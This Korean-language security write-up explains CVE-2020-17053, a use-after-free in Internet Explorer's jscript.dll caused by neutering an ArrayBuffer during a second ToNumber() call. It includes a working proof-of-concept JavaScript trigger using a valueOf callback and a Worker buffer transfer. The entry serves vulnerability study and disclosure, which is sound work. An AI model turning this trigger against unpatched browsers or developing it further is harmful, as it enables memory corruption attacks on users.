[하루한줄] CVE-2020-17053: Internet Explorer UAF 취약점

URL

CVE-2020-17053: Use-After-Free IE Vulnerability

Target

  • Internet Explorer

Explain

Internet Explorer에서 neutering ArrayBuffer로 인한 use after free 취약점이 발견되었습니다. 해당 취약점은 CVE-2020-1380과 비슷한 취약점이지만 JIT 엔진 없이 트리거할 수 있습니다.

JIT 엔진을 사용하지 않고 item을 TypedArray로 변환할 때 jscript.dll은 interpreter에서 다음과 같은 작업을 수행합니다.

  1. Js::JavascriptConversion::ToNumber() 호출
  2. TypedArray의 ArrayBuffer가 detach 되었는지 확인
  3. 변환할 element의 index와 TypedArray의 길이 비교
  4. Js::JavascriptConversion::ToNumber()를 다시 호출하여 ArrayBuffer로 값 설정

Js::JavascriptConversion::ToNumber()의 첫 번째 호출에서 해커는 callback 함수를 통해 TypedArray의 ArrayBuffer를 free 할 수 있고 uaf를 발생시킬 수 있습니다. 이것을 막기 위해 첫 번째 호출 후 ArrayBuffer가 detach 되었는지 확인하여 user code callback에서 메모리가 free 되는 것을 방지합니다. 하지만 두 번째 호출에서는 별다른 검사를 하지 않기 때문에 이를 악용하여 uaf를 발생시킬 수 있습니다.

POC Code

var arr = new Float32Array(0x100);
var flag = 0;
function pwn(index, value) {
    arr[index] = value;
}
var obj = {};
obj.valueOf = function() {
    if(flag == 1) {
        worker = new Worker("");
        worker.onmessage = function() {};
        worker.postMessage(0, [arr.buffer]);
        worker.terminate();
        worker = null;
        var start = Date.now();
        while (Date.now() - start < 200) {}
        return 0x1337;
    }
    flag = 1;
};
pwn(0, obj);

두 번째 인자를 objpwn 함수를 호출하면 item을 TypedArray로 변환할 때 Js::JavascriptConversion::ToNumber()가 호출되어 callback 함수가 두 번 호출됩니다. 첫 번째 호출에는 flag == 0이므로 ArrayBuffer가 neutering 되지 않지만 두 번째 호출에서 ArrayBuffer가 neutering 됩니다. 두 번째 호출에서는 ArrayBuffer가 detach 되었는지 검사하지 않으므로 uaf가 발생합니다.